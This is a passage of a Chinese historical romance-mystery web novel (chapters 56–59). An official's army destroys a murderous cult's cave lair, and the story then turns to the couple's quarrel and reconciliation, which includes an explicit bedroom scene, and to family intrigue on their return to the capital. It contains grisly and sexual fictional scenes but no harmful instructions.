第056章本仙主在此…… 萧远峥率领军队,甫一进入峡谷,就听见巨大的哗哗流水声,循声眺望,便见云层中垂下一挂瀑布,似天河水倾泻,在地上形成一条河,横穿峡谷。 近处,一眼望去是漫山遍野的菊花,红的、粉的、黄的,七彩如虹,各式各样,晓风拂面,温暖如春,真如神仙画境一般。 士卒们一刹那都看迷了。 被锦衣卫护持在中间的慕容鸾音也看迷了,不是被鲜妍灵秀的花朵所迷,而是被天际那一挂瀑布,满脑子里想的都是原来“飞流直下三千尺,疑是银河落九天”之句,竟是实景。 这峡谷之内的景色的确迷人,但萧远峥想到白玉京是个蛊惑愚民剖腹取子,残害孕妇的邪教,就谨慎的向前走了几步,用长剑拨开花丛,就见眼前这株金黄的菊花是扎根在一颗人类骷髅头内的。 而这颗骷髅头还连接着一整副骨架,头颅被金黄的菊花霸占,躯干被一丛大红色的菊花霸占,腿部被一片紫黑色的重瓣菊霸占。 从这副骨架的大小、粗细、形状上看,是一名女性,其盆骨呈现扩张状态,粗略推算,应是一名处于临盆期的女性。 苏逢生顿时惊出一身冷汗,“唰”地一下抽出腰间绣春刀,厉声暴喝,“全军警戒,我们已经进入邪教的老巢附近,勿要被眼前景象所迷,保持清醒,听令行事!” 众将士齐声应和,“是!” 声震九天,惊吓得周遭栖息在树上的乌鸦扑棱着翅膀,呱呱叫着飞天逃离。 花丛深处竟还有秃顶巨禽,长相丑恶,叼着一嘴腐肉,伸直脖子,冲人嘶吼,一张嘴,腐肉掉落,猛地就被其他巨禽抢了去。 苍天呀,竟不是一两只,而是一群巨禽。 慕容韫玉倒吸一口凉气,慌忙敞开斗篷把慕容鸾音护在自己怀里。 慕容鸾音也怕了,今日在外头罩了一件浅绿色的披风,头上耳上,凡是亮晶晶的首饰都摘了去。 萧远峥冷笑,当即扬起手势,“弓箭手听令,上前列阵,射杀!” “是!” 因深知白玉京的诡谲恶毒之处,为了减少己方不必要的伤亡,故此,在调兵之时特意要了弓箭手,两千多人,弓箭手就占了一半。 如此,无论白玉京使出什么鬼蜮伎俩,先猛射一波,能射死多少射死多少,死人才是最安全的。 千支箭齐射,那群秃顶巨禽看着同伴染血倒地才知道怕了,却已经晚了,它们早已被养的又肥又懒失了警戒心,半盏茶的功夫全死在花丛里。 军队一路横推过去,就遇见了一片紫竹林,竹林内有一条青石板小路,路的尽头建造有一座玉石牌坊,牌坊上錾刻着“极乐圣境”四个草书大字。 牌坊后面就有一个山洞,彼时,正有凄厉的哭嚎声从里面传来,有男有女。 还有隐隐的臭气。 慕容鸾音蓦地捂住口鼻,急忙走到萧远峥身畔,“这臭气有毒。” 萧远峥立时下令所有将士捂住口鼻,原地待命。 “这个臭气我闻着很熟悉,你还记得那个在我们面前自焚而死的‘白狐’吗,‘白狐’身上起火,烧出来的臭气,和这个几乎一模一样。” “记得。”萧远峥屏住呼吸,脸色铁青,“不好,里面的人应该在焚毁东西。”。 苏逢生一面遮住口鼻一面道:“这毒气的毒性烈不烈,要不然我带兵冲进去?” 萧远峥回头看向听从调令毅然随他而来的士兵们,个个身强力壮,面庞年轻,都是家中寄予厚望的顶梁柱,心中就有了决断,“白玉京的死士曾潜伏到我府中 刺杀我,死士留下的毒针,我收集起来,用死囚做过试验,死囚喝了浸泡毒针的水后,没撑过半个时辰就死了,死前浑身抽搐,呕吐失禁,全身皮肤红肿溃烂,无药可解。” 苏逢生连忙后退两步,“那算了,还是等他们烧完了,臭气散了再进去。” 萧远峥点头,下令将士们后退至闻不到毒气的地方,列阵以待,弓箭手准备,若见有邪教徒从洞穴中逃出,有一个算一个,全部射死。 却不想,邪教徒没逃出来,蛇蟒先窜了出来,各式各样,颜色鲜艳,一看就知是毒蛇,认得出来的只有眼镜蛇、竹叶青,其他的全都是见都没见过的,有些蛇的蛇身上还燃着黄白的火焰。 慕容鸾音最怕蛇,见状脸都白了,脚软的站不住,死死捂住嘴才没尖叫出来。 萧远峥连忙扶住她,安抚道:“有我在,别怕,不会让蛇咬到你。” 这时,一个毛发如雄狮,身躯如巨猿的人出现在洞口,手持两个大铜锤,仰天怒号:“本仙主在此——” 声如虎啸,震耳欲聋。 “萧远峥,速速上前与本仙主一决生死!” 萧远峥冷笑,给弓箭手一个手势,顷刻间羽箭齐发,把那站在洞口如同活靶子的蠢货射成了刺猬。 朱粲轰然倒地,豹眼瞪凸,似是不明白,自己堂堂迦楼罗王,怎么就这么死了…… 苏逢生看见那“巨人”倒地不起,顿时笑道:“这蠢货,以为你是逞凶斗狠的莽夫不成,还自称是仙主,倘若白玉京的仙主是这种货色,撑死了就是个土匪寨子,绝无可能浸透到官场去。” 却说朱炳权和幽冥道人,这二人匆忙出逃,只来得及拿上了长生丹,逃出温暖如春的峡谷后,在森林中穿梭就冻的鼻涕横流,不得已寻到一个石窝子,躲在里头生火取暖。 彼时,明月高悬,已是深夜。 幽冥道人利用绑在身上的一把小弩射到一只兔子,剥了皮后,穿上木棍架在火堆上烤。 油脂落入火堆,顿时滋滋冒烟气。 朱柄权闻着烤肉味,不停的咽口水,“这条兔腿烤熟了,你先拧下来给我吃。” “全烤熟了才能吃,贫道也饥肠辘辘,正在忍耐。” 朱柄权眼角余光瞥向他绑在右手臂上的小弩,精致小巧的像女人用的臂钏,白玉京也需要大量的弓弩,他曾遍查过许多会制作弓弩的工匠,凡是熟手都在官府籍册上,官府严格控制这些工匠,但有发现私自制作卖与他人,全家杀头。 而工匠为官府军队制造弓弩时,每一把上面都刻着工匠的名字和日期序号。似这老道士手臂上那种弓弩,那般精巧的,唯有炉火纯青的工匠能造出来。 想到此处,朱柄权只觉得头皮发麻,后背一阵冰凉。 “好、好,烤好了,一起吃。”朱柄权慢慢站起来,若无其事道:“我再去捡些柴火回来。” “够用了。”幽冥一把抓住朱柄权的胳膊,拽着他坐回去,“府君,接下来咱们要去投奔仙主,仙主在哪里藏着呢?” “放肆!”朱柄权猛地甩开幽冥的钳制,逃开两步,额上淌着冷汗,颤声怒道:“若是我弟弟还活着,你也敢这么对他不敬吗?!” 幽冥盯着被架在火焰上炙烤的兔子,呵呵笑了两声,蓦地抬起右臂就射向朱柄权的大腿。 朱柄权“啊”的一声痛叫,半边身子摔跪在地,他仰起惨白的脸看着幽冥,颤巍巍道:“你、你竟真是官府的人,你究竟是谁?!” 幽冥用沾血的匕首抵住他的咽喉处,“你不配知道我是谁。朱梵山那个食人魔若是还活着,我会像剥兔子皮一样把他活剥了,再一片一片割下他的肉,塞到他嘴里让他把自己活吃了,就像他吃那些活生生被剖出来的婴胎一样。” “好汉、好汉你饶我一命,我藏下了许多金银珠宝,你留我一命,我带你去找,行不行?” 匕首刺入朱柄权的皮肉,他又疼又恐,泪流满面。 “那些被你们糟蹋玩弄的少女,她们哭求你们这对恶畜饶命的时候,你们是怎么做的?朱梵山暴病发作时,先奸后杀,你没有暴病,人模狗样,却也以施虐为乐。” 就在此时,朱柄权咬牙发狠,一把抱住幽冥那条瘸腿,将其猛地拽倒就去掐他脖子,“叛徒,死去吧……” 朱柄权一霎僵住,缓缓摸向咽喉处,那里插进了一支短箭。 幽冥拂开朱柄权的手,咳嗽着从他身下爬出,冷笑道:“老子杀人的时候,你爹都还没出生呢。” 幽冥看着朱炳权咽气,转头走向火堆,坐在石窝子里,慢条斯理把兔子肉吃完,缓了缓,有了力气,才咬牙切齿道:“该回家去了,我不能再让我的心血白费。没出息的东西,你给老子等着!” 极乐圣境里的火,烧了两天两夜才伴随着“轰隆”一声巨响而熄灭,又过半日,臭气彻底消散了,萧远峥才带兵而入。 在此期间,凡是逃出洞窟的邪教徒无一例外都被射杀。 此洞窟乃是天然的溶洞,又宽又阔,深达数里,横贯着一条暗河。 巨大的玉楼、汉白玉石铺成的八卦盘地面、雕成饕餮的宝座都没有烧毁,被烧毁的是主洞窟两侧的三个小洞窟,一个洞窟坍塌,在废墟中发现了一块刻着“造化炼炉”的石匾,挖掘出一些似人非人的黑炭块,另外两个洞分别是长生洞和万蛇窟,里面被烧的黢黑,从长生洞中找出了一个烧变形的丹炉,在万蛇窟中发现了一些没烧完全的尸体,多数是女尸。 萧远峥验尸后,发现了两颗媚珠。 慕容鸾音想起那个惨死的银发女妖,想着那些从洞窟内逃窜出来的蛇,蛇本性淫,她忽的想明白一个问题,媚珠里面她分辨不出来的那种强烈君药,也许是取自这些蛇。 第57章 第057章爱怜之极慕…… 慕容鸾音有了关于媚珠的猜测,就告诉了萧远峥,萧远峥稍作沉吟,道:“想要验证不难,我让人抓些蛇回去养起来,取其交/配时产生的体/液给你,如何?” “好。”慕容鸾音到底是个医者,她既知道了有媚珠这种引人犯罪的东西,就想弄清楚里面的成分。 “我也怀疑,白玉京死士涂抹在毒针上的毒素来自毒蛇,我取出毒液交给你一份,你试着配置解药,可敢吗?” 慕容鸾音微抬下巴,傲然一笑,“有何不敢。你虽学富五车,到底也有不懂的,蛇的毒液虽毒,但解药就在蛇身上,那就是它自己的蛇胆,故此,倘若白玉京所用之毒真的取自毒蛇,只要辨析出是何种毒蛇,取其蛇胆为君药,再配置些其他解毒的药材,大致上就可解了,一点都不敢。难就难在,许多毒蛇的毒液混合,辨析不出,若再加入些有毒的草药,那就无药可解。” 萧远峥见她杏眼生辉,一下子胸脯也挺了起来,就笑道:“这便是术业有专攻了,承蒙夫人点拨,为夫受教了。” 慕容鸾音听了,欢喜不已。 就在这时,忽听得慕容韫玉愤怒惊骇的叫人声,二人连忙寻声找了过去。 却原来,慕容韫玉跟着苏逢生往溶洞深处去搜寻,找到了朱粲进食和睡觉的洞穴,里头角落里堆积着被吃的干干净净的婴骨,一张石桌上还摆着一盘子没吃完的。 慕容韫玉实在受不了,疾步逃出洞穴,扶着石壁就吐了出来。 “阿音,你别进去。”慕容韫玉连忙拦住慕容鸾音,白着脸道:“冰镇鱼脍见过吧,就那么把、把婴胎当鱼做成了鱼脍,还撒上了菊花花瓣。” 慕容鸾音只是听说,胃里就是一阵翻江倒海,脸色一白,连忙捂住嘴。 萧远峥进去看了一圈,铁青着脸出来,越发坚定:不把白玉京彻底剿灭干净,誓不罢休! 那边厢苏逢生也找到了储粮洞和厨房,储粮洞里没什么,都是粮食和肉菜一类,厨房就有些不同寻常,九个大铁锅,锅里面熬煮的粥状物像猪食。 萧远峥去看过,翻捡调料罐时 发现了一罐青莹莹的粉末,他虽没做过饭菜,却也识得些糖盐胡椒等寻常调料,但从未见过这种。 苏逢生、慕容韫玉、慕容鸾音都辨认了一回,都不认识。 萧远峥就让人封好口带走。 除此之外,再没发现任何书信账本之类的有力证物,便猜测,这些要紧的东西都被烧毁了。 来回细细搜寻了三遍,再无发现,萧远峥才决定撤兵返回西州,临走前蓦地回身望向那座写着“极乐圣境”的牌坊,亲自上手,用一张大宣纸拓印了下来,拓印完这四个字,想到溶洞内石匾上还有字,全都拓印了一遍,封存好,这才撤离荡寇山。 虽是在极乐圣境内发现了白玉楼,这座楼与五色鹊所送信纸上的花押玉楼形状一样,但因为没有纸面上的证据,萧远峥就暂时把极乐圣境定性为白玉京的一个重要窝点。 这个窝点虽剿灭了,可西州城到底被白玉京侵蚀多年,还需挖掉、修补与肃清官场。 萧远峥还在写给皇帝的奏折上,写明了朱梵山能一手遮天把持卫指挥使司的根本原因,那就是拿不到军饷,没有活路,对底层士卒而言,有奶才是娘,话虽粗俗,却最精确。 萧远峥替西州城向皇帝求情,若继续封锁废弃下去,百姓饿肚子,没活路,又会滋生出许多邪教徒。慕容青云之死,罪在白玉京,不在百姓,重建漕运码头,减轻赋税,使西州城恢复往日繁华,令百姓富足,感念君父的恩德,才是彻底断绝白玉京发展教徒的办法。 长盛帝采纳了萧远峥的谏言,命他坐镇浙川,肃清官场,令贪财害命者死、贪污没害命者抄家流放,令庸者罢官去职,清廉正直贤能者升官重用。只有一条,凡查出为官者入了邪教的,无一例外,以尚方宝剑当堂诛杀! 白驹过隙,浮云苍狗,匆匆便是一个月后,入冬了。 慕容韫玉早已回了京,这日慕容鸾音却收到了他的来信。 信有两封,一封的确是慕容韫玉的,问她何时回京,家中父母十分想念她等语,另外一封却令她深感意外,是罗慧心写给她的。 她连忙展信细看,看完之后,满心不安。舅外祖回府了,把老夫人从佛堂接了出来,还把中馈之权直接交给了洛淑仪。龙姐姐回娘家去了,因为舅外祖没经过萧远嵘的同意就给他纳了一个良妾。罗慧心还在信中暗示,国公府已是老夫人和洛淑仪的天下,让她回京后留心。 碧荷进来,看见慕容鸾音倚在床栏上发呆,手里还捏着信纸,连忙问道:“姑娘,大爷信上说什么了?” 慕容鸾音把信纸递给她。 少顷,碧荷看完了,疑惑不解道:“黑伯难道不是奉老公爷的命令把老夫人关进佛堂的吗?怎么又亲自接了出来,这是什么意思?” 慕容鸾音半响儿才道:“老夫人到底是老公爷的发妻,洛淑仪也终究是老公爷的亲外孙女,论亲疏,我差得远了,他老人家改了主意,亲自接出发妻,我理解,可他把中馈之权直接交给洛淑仪是什么意思?” 碧荷忧心忡忡,连忙安慰道:“老夫人年纪大了,没精力管家,老公爷许是心疼她,才直接交到了洛表姑娘手里。这一个月来,奴婢冷眼瞧着,世子爷满心满眼都是姑娘,有世子爷给您撑腰,到得咱们回府,想夺回中馈之权也容易。” 这一个月来,萧远峥白日里忙着肃清官场,清理白玉京余孽,慕容鸾音就在自家医馆坐镇,为人诊脉治病,晚上二人同床共枕,房事和谐,不敢说蜜里调油,也算琴瑟和鸣。 想到这些日子来的相处,慕容鸾音心里也情不自禁生出甜意来。但这份甜意,是她掩耳盗铃换来的。 该面对的还是要面对。 譬如洛淑仪。 “冬至吃角子,他偏爱菘菜羊肉馅的角子,让厨房做出来。我不爱吃角子,给我做些菘菜鸡蛋小馅饼。” “是。” “冬至是大节日,朝廷有七日假,今日他应该会早归吧……算了,他不配。” 碧荷顿时哭笑不得,“姑娘这又是想到什么了?” “你不必问,我自有我的道理。” 至黄昏,天上飘洒下盐粒小雪来,萧远峥才回来。 慕容鸾音听到动静,便拔下簪子散下头发,侧身朝里躺着。 碧荷见状,往火盆里加了两块银丝炭,两颗山茶香球,罩上铜熏笼,就走了出去打帘子迎接。 萧远峥提着个小花篮进得屋内,暂时放到长条案上,把黑狐裘解下递给碧荷,瞧见内室的帐幔是垂下的,心里一寻思就低声问道:“天还没黑就睡了不成,是何缘故?” 碧荷怕惹恼慕容鸾音,不敢悄悄提醒,只摇头装作不知。把狐裘搭到衣架子上就赶忙避了出去。 “你不必为难丫头,进来问我。” 萧远峥一听这口气像是生气了,连忙提起小花篮,拨开帐幔走到床前,把花篮往梳妆台上一放就瞧见了放在一旁的书信。 信是敞开放在那里的,他便知道,这是特意给他看的。 少顷,放下书信,他坐到床沿,望着慕容鸾音的后背,就觉得棘手。 慕容鸾音等了一会儿,见他迟迟不开口,心里既恼怒又委屈,嚯然坐起,红着眼睛瞪他道:“我问你,舅外祖写下我和洛淑仪的名字让你选,你用朱砂笔圈定了洛淑仪的名字,是曾经坚定的选过她做你的妻子吗?” 萧远峥看着慕容鸾音泪珠滚落,蓦地攥紧拳头,“浙川的事情我梳理的差不多了,会有别人来接手,陛下召我回京,加封我为东阁大学士,迁任内阁次辅,待得回府后,我自会帮你把中馈之权夺回,勿忧。” 慕容鸾音冷笑起来,“我才不稀罕夺回什么中馈之权呢。我更不稀罕知道你又升官了,因为我知道你终究会成为一人之下万人之上的首辅。萧远峥,我一直以为你爱的是洛淑仪,自从知道你曾坚定的选择过洛淑仪为妻,我越发觉得低她一等,甚至羞愧的不敢面对她,待得回京,回到府内,你仍旧想让我低她一等,是吗?” 萧远峥抬手想去为她拭泪,她扭脸躲开,带着泣音道:“别碰我。” 话落,拥着被子挪到床脚,离他远远的,见他竟要脱靴上床,立时哭道:“你别上我的床,滚到别处睡去,我才不要一个坚定选择过别人为妻的峥哥哥!” 萧远峥听见从她嘴里又叫出“峥哥哥”三个字,心里顿时酸疼酥麻起来,连着绣被一起强抱到怀里,认命般的道:“还记得中秋节那天,祖母算计我,给我喝了催i情酒的事情吗?” 慕容鸾音仰起泪汪汪的杏眼怒瞪他,“你把我当解药欺负了,怎么能不记得。就因为你团圆夜不在我的瑞雪堂,跑去老夫人的福寿堂和洛淑仪私会,才让一个无赖混子有了可乘之机,你竟还有脸提起,哼。” 萧远峥见她杏眼圆瞪,两颗泪珠子就滚了下来,既娇憨又美艳,心里爱怜之极,情不由己便想低头吻她。 慕容鸾音没得到答案,如何肯乖顺,连忙两手抵住他胸膛,“说、说完才给你。” 第58章 第58章我要回京!朦…… 朦胧灯色里,慕容鸾音一头青丝披垂,玉容朱唇,靡艳柔润如一颗粉光熠熠的珍珠。 萧远峥虽是渴她如狂,亦不舍扭了她心意强要,便把摆在床壁的一床绣被堆到床栏,倚靠过去,“坐上来我就告诉你那夜我和她说了什么。” 慕容鸾音见他轻拍了一下他自己的大腿,心想这有什么,于是按他心意坐在了他一条腿上。 萧远峥曲起另外一条腿给她靠着,轻叹一口气就道:“想必你也猜到了几分,中秋节那夜,洛淑仪向我献身,言说愿意暂时不要名分。” 慕容鸾音心里一下酸涩刺痛起来,冷笑道:“可是委屈你们了,要背着我偷情,都怪我占了她的名分。” “别闹。”萧远峥把她鬓边垂下的一缕头发勾到她耳后,斟酌后才又道:“洛淑仪,是十年前被祖母接到府中的,从那以后再也没回过勇毅侯府,几乎等同于和父族断亲,你可知道原因?” 慕容鸾音摇头,“我问过祖母,祖母 只说是老夫人怜惜洛表姐失母,怕她被继母磋磨虐待,就接到身边亲自教养。难道这里头还有别的缘故吗?” “的确有。”萧远峥脸上露出复杂神色,“十年前六月份,大姑母萧瑾难产而死,大姑母百日孝期后,陛下赐婚,洛雄才娶了章贵妃守寡的姐姐章挽月为继妻,那时章贵妃还只是昭仪,生下皇八子,宠冠后宫。洛雄才九月娶的章挽月,十月份肚子就有五六个月大了。” 慕容鸾音微讶,看着萧远峥脸上浮现的冷意,顿时就道:“洛侯爷和这位贵妃寡姐早已珠胎暗结?” “远不止如此。”萧远峥冷笑,把旁事隐下,只捡着和洛淑仪有关的继续说道:“大章氏和洛雄才是邻居,二人青梅竹马,早在洛雄才算计谋娶大姑母之前,二人就已有夫妻之实,大章氏明面上和前夫生的女儿实际上是洛雄才的。洛淑仪得知真相深恨这对狗男女,但她很会伪装,大人们只以为她是个温顺贤淑的大家闺秀,便是洛雄才和大章氏也被她骗过,忽有一日她得了机会,把大章氏那个三岁的女儿抱到假山上推了下去,头上摔出一条大口子,血流不止,当天夜里就死了。” 慕容鸾音听了,也面露复杂之色,心里算了算,忽的一惊,“十年前,洛表姐才十岁……你怎么知道的那么清楚?” “洛淑仪很聪明,她当然不承认是自己干的,把祖父祖母叫到侯府撑腰,哭诉说继母要效仿武皇,用自己的女儿之死陷害她这个继女,又说章挽月觊觎她娘留给她的嫁妆,祖父祖母自然选择维护她,我也去了,查看了那座事发的假山,假山顶上有青苔,有浅淡的脚印,我在洛淑仪绣鞋边缘发现了青苔的痕迹,事后又想法拿到她的绣鞋,目测尺寸一样。” “你是不是还为她抹去了作案痕迹?” 萧远峥点头,“她当然可以报仇,怎么对付洛雄才大章氏这对狗男女都可,但偏偏选择向一个三岁女娃下手,我不赞同,甚至厌恶,但……” “但洛表姐当时才十岁,才失去母亲,她是为母报仇,情有可原。” 萧远峥道:“即便揭开真相,只要洛淑仪说是意外,也会从轻发落,交赎金便可替代刑罚。从那以后,勇毅侯府和咱们府上反目成仇,洛雄才从此毫无顾忌,彻底露出本来面目。中秋节那夜,我把此事当着她面揭开,并明确告诉她,府中流言我知道是谁暗中散布的,也明确告诉她,我不可能喜欢一个十岁就能蓄谋害死一条人命的人。” 慕容鸾音一下子捕捉到重点,改侧坐为骑坐,揪着他衣襟就逼问道:“你是指府中上下都传你真爱是她的流言吗?” “除了这条流言,还有别的吗?” 慕容鸾音身上穿的是绯色抹胸纱裙,里头一条雪缎亵裤,薄薄一层衣料,令他一霎清晰的感觉到她腿心的柔软。 “是谁暗中散布的?” 萧远峥靠在绣被上,腿绷直,扶着她腰肢道:“那张圈名选妻的纸在谁手上就是谁。” “是老夫人。”慕容鸾音心中已有答案,但就是想让他亲口说出来,“那你喜欢白梅花吗?我见你静园就有一棵白梅花,洛淑仪也喜欢白梅花,府中便以此为由头,把你喜欢她,说的有鼻子有眼的。” 萧远峥托着她腰臀在自己腿上轻挪,望进她眼底,“你喜欢什么花?” 慕容鸾音被他这样看着,身子缓缓灼热酥软起来,呼吸也急促了,慌忙撇开眼,不满道:“连我最喜欢山茶花你都不知道吗?” “知道。那我就最喜欢山茶花吧。” 慕容鸾音这时察觉到他的小动作,一霎也感觉到自己湿润了,脸儿一下子红热起来,两手抓住他的手腕,情不自禁娇声道:“你急什么,还有呢,是你亲笔圈下的她的……” 萧远峥再也没给她开口的机会,捕捉到那张越来越难缠的小嘴,恣意吻弄。 窗外风簌簌,雪漫漫,窗内,烛芯倒在蜡油里,渐渐暗淡。起初他按耐住渴求,只吻着她,托着她腰臀来回磨蹭。她受不住,喘息的空挡,伏在他颈窝里娇啼,只求了一回,他便如得了圣令,打开克制的心笼,放出了早已狰狞如蟒的欲兽。 忽的,蜡油淹没了烛芯,卧房内漆黑一片。只那张架子床,发出急促的吱嘎声响,帘帐颤个不停。慕容鸾音逼出了想要的答案,心里欢喜,身子就酥软的一揉就化似的,萧远峥沉溺在里头,却心有不甘,紧要处逼着慕容鸾音喊他“峥哥哥”,慕容鸾音偏是叫不出口,萧远峥便知她尚未回心转意,爱他不似从前,越发不甘被她操控了去,就起来点了灯,放在床头,看她杏眼红红,娇啼哭泣,再三求饶才罢了。 慕容鸾音在浑身酸软无力中沉沉睡去,萧远峥却睡不着,拿着那封信再三细看,心中惊疑不定。便把慕容鸾音抱到怀中,搂了一夜。 天蒙蒙亮时,萧远峥才要睡去,慕容鸾音却惊醒坐起,“我要回京!” “怎么了?”萧远峥拍着她背哄道:“是要回京的,今日就开始收拾东西。” 慕容鸾音一听,紧绷的心弦松弛下来,缓了缓,躺回他怀里,心有余悸道:“我梦见龙姐姐和嵘三爷游览天下名胜古迹去了,龙姐姐要画一副超越她祖父的山水图,就去爬泰山,龙姐姐被一个樵夫撞下山崖死了,嵘三爷被迫再娶,然后你把他关起来,他思念成疾,疯了。” 萧远峥一听是做梦罢了,就道:“你是看了罗氏的来信,心中忧虑,故此做了一场梦,梦中之事岂可当真。” 慕容鸾音不与他做无谓的争辩,而是道:“我坚信我的梦是预兆,譬如我哥哥,倘若我没追上他,说不得真的会被剥皮楦草拿来威逼你。这样吧,信上说龙姐姐回娘家去了,以嵘三爷黏糊龙姐姐的那个劲儿,定会追去,以他们夫妻二人的脾性,定然不会顺从老公爷,说不得已经打算好,携手离家远游,我们快些赶回京去,问一问他们,若是我赢了,你告诉我,你为何圈定洛淑仪为妻,若是你赢了,我从此不问。如何?” “不赌。”萧远峥打个哈欠,一条胳膊搭到慕容鸾音腰间,“还早呢,再睡会儿。” 慕容鸾音不甘心,撑起他眼皮迫他睁眼,挑衅道:“堂堂宰辅,怕输不成?” 萧远峥抓住她手塞进绣被,轻笑道:“游览天下名胜古迹是他们夫妻二人的夙愿,你一问,得到的答案不会是旁的,自然是你赢。别闹,我要睡了。” 话落,闭上眼,只片刻呼吸就均匀了。 慕容鸾音瞪大眼睛,不敢信,这人竟睡起懒觉来。 可事实就是,他睡着了。 这人,沉思时,清冷严肃,生气时却是面无表情的样子,眼神是蔑视一切的冷傲。睡着时,浓密长睫低垂,眉眼朗艳,又是一副清正祥和的样子。 慕容鸾音呆呆看了一会儿,闻着他身上淡淡松竹的清香,脑袋晕晕乎乎也跟着又睡了过去。 夫妻二人睡醒时,就到了用午饭的时候,雪霁初晴,碧荷带着下人们开始收拾回京的行囊。 一切置备齐整,查了个宜出行的黄道吉日,就上路了。 路上不记日,终是赶在腊月初八前一日抵达京城。 府中上下,得知迁任内阁次辅的世子爷回来了,个个欢喜不尽。 二爷萧远峰,带着三爷萧远嵘、四爷萧远岱、五爷萧远峤,迎出门外,恭候道喜。 萧远峥下车后,走向这几个弟弟们,与他们寒暄。 萧远嵘一见着萧远峥就哽咽了,哭着喊了一声“大哥”。 “晚上到拂衣轩等我。” 萧远嵘连忙点头。 慕容鸾音在后面,扶着碧荷的手,踩着下车凳走了下来,萧远峰便 带着弟弟们向她拱手作揖问安。 慕容鸾音微微点头,亦问他们好。 随即,萧远峥在前,慕容鸾音落后半步,萧远峰等缀在后面,一行走至二门,只罗慧心带着自己的两个丫头站在那里迎候。 萧远峰瞥见萧远峥面无表情的样子,连忙解释道:“孙氏月份大了,今日一早身子不适请了郎中,郎中让卧床修养,故此不能来迎。” 慕容鸾音便笑道:“无妨。” 话落,携着罗慧心的手,径自回了瑞雪堂。 这时黑伯才从拐角处走出来,看着萧远峥就长叹一口气,“传主子的话,世子爷回家了,不必先去拜他。您的新官袍、玉笏板,礼部已送了来,放在静园,请您沐浴更衣后进宫面见陛下是要紧。待得得了假,能在家里歇息几日了,他自会见你。” “知道了。” 却说慕容鸾音,她也本该先去拜见老夫人,但罗慧心也带了老夫人交待的话,不必去福寿堂拜见,让她在瑞雪堂等着老公爷召见。 慕容鸾音心头惴惴,沐浴更衣后,亲自下厨熬了一碗莲子羹,亲自提着食盒往采篱园而去。 采篱园乃是老公爷萧长生在府内的修养之所。 围墙是竹竿扎成,门是柴门,踮起脚尖就能望见里头郁郁葱葱的松柏,还能听见叽叽喳喳的鸟叫声。 茯苓敲了一会儿门,黑伯打开门走了出来。 慕容鸾音急忙道:“黑伯,我给舅外祖熬了一碗莲子羹,让我进去和舅外祖说说话吧。” 门前有两块长条石,黑伯坐下后就道:“音丫头,回去吧,主子是个说一不二的性子,他既说了,等着他召见你们,这会儿你来了,这个门你也进不去。” 慕容鸾音一下子红了眼,放下食盒和黑伯坐在一起,禁不住问道:“是我哪里做得不对惹了他老人家生气吗?还是、还是老夫人和洛表姐在他老人家耳边说了什么?” 黑伯不言语,站起来,走了进去,把门紧紧关上了。 惹得慕容鸾音越发惶惑不解。 舅外祖一向疼爱她的,究竟发生了什么? 第59章 第059章雪夜浓情慕…… 慕容鸾音回到瑞雪堂坐立难安,一忽儿怀疑是自己把府中中馈撂给罗慧心,未经过他老人家同意就随着萧远峥去了西州,犯了忌讳;一忽儿又十分愤怒,坚定认为是老夫人和洛淑仪这对祖孙在舅外祖面前进谗言;一忽儿又战战兢兢,认为自己的确没有履行身为当家主母的职责,羞愧不已。 碧荷看着她绕着莲花大香炉转来转去,黛眉紧蹙,闷闷不乐,禁不住就道:“姑娘,您这副愁肠百结的样子,又回到从前了。” 一语惊醒梦中人。 慕容鸾音顿时愣在那里,“你说什么?” 碧荷走上前,把慕容鸾音扶到罗汉床上坐着,接过茯苓捧来的茶,送到她手上,叹息道:“洛表姑娘归府之前,姑娘也是这样日日为世子爷愁肠百结的,奴婢看着心疼,却没有办法。奴婢本以为,姑娘想明白了,不曾想,今日又为老公爷不见您这样一件小事,愁容满面,忧惧不安,这是为何?” “这是为何……”慕容鸾音喃喃自问,心中一个答案清晰的浮现了出来。 那是因为,她心里清楚,终究是舅外祖成全了她与萧远峥的婚事,这也意味着,舅外祖也能毁掉这桩婚事,就像他一句话,就给萧远嵘纳回一个良妾,逼迫的龙姐姐回娘家。 在她获得梦境预兆之前,她经历的是求不得的痛苦,获得梦境预兆之后,她慢慢感知到萧远峥原来爱的是她,她得到了,又害怕失去。 从始至终,她的忧与怖,都只为一个萧远峥。 舅外祖回府后,亲自接出老夫人,直接把中馈交给洛淑仪,就是一个不祥的预兆。而她什么都做不了,只能被迫等待召见。 而萧远峥又进宫去了,不知何时才回来。 所以她焦虑不安。 可是,焦虑有用吗? 没有。只会让她被焦虑的情绪控制,食不下咽,睡不安枕,长久以往身子都被自己作践坏了。 慕容鸾音梳理清楚了自己焦虑不安的根源,勇敢的面对,反而平静了下来。 走到西次间,脱掉绣鞋,坐到大榻床上就道:“把笔墨纸砚拿来,我要给龙姐姐写一封信。” 碧荷见她黛眉舒展,连忙笑着去拿。 茯苓也笑道:“奴婢为姑娘磨墨。” 慕容鸾音见她们笑,自己也笑了。 一炷香后,慕容鸾音写好信封入信封交给茯苓,道:“我在西州时为龙姐姐制了两匣冷梅香,你到箱笼里找出来,一同交给嵘三爷,让嵘三爷替我转交龙姐姐。” “是。” 这时冬青兴高采烈的走了进来,手里捧着一个小雪人,“姑娘,下大雪了,咱们堆雪人吧。” 慕容鸾音一听,就去推窗。 碧荷连忙止住,到暖阁衣柜里找出一件芙蓉红羽纱面白狐狸里子的披风拢到她身上,又吩咐冬青冬葵去把专放在榻上的熏笼搬来,放了银丝炭,锁住玲珑铜罩子,又在上面裹好一块漳绒花毯,这才亲自去把窗户推开了。 茯苓暗恼自己,终究没有碧荷心细周全,默默把步骤都记了下来,下次姑娘再开窗看雪时,她可以照搬。如此想着,顿时开心起来。 大雪纷飞,仿若柳絮随风起舞。 慕容鸾音裹紧披风,斜倚熏笼,感受着扑面而来的雪风,笑道:“怎么等都是等,不若把红泥小火炉搬到炕几上,一边赏雪一边煮一壶红枣桂圆甜茶来饮。” 茯苓连忙笑道:“奴婢这就去大厨房,让厨娘做几样姑娘爱吃的糕点来,好不好?” “极好。我要吃玉露团、透花糍、碧玉糕。你们也点几样自己爱吃的,咱们主仆几个一块美美的赏雪、喝甜茶、吃甜糕。” 茯苓响亮的答应一声,连忙去了。 碧荷想到什么,便去梳妆台上,把慕容鸾音当做摆件摆在那里的小花篮拿了过来。 这小花篮不过是竹编的,是个海棠花的形状,胜在手艺细致,既结实又没有一点毛刺。 小花篮里头原本装的满满当当的,但在回来的路上慕容鸾音吃了大半,还剩下几块松子糖。 因是萧远峥给她买的,她就没舍得扔。 “暖阁里热,这松子糖有些化了,姑娘还吃吗?” “不吃了。” 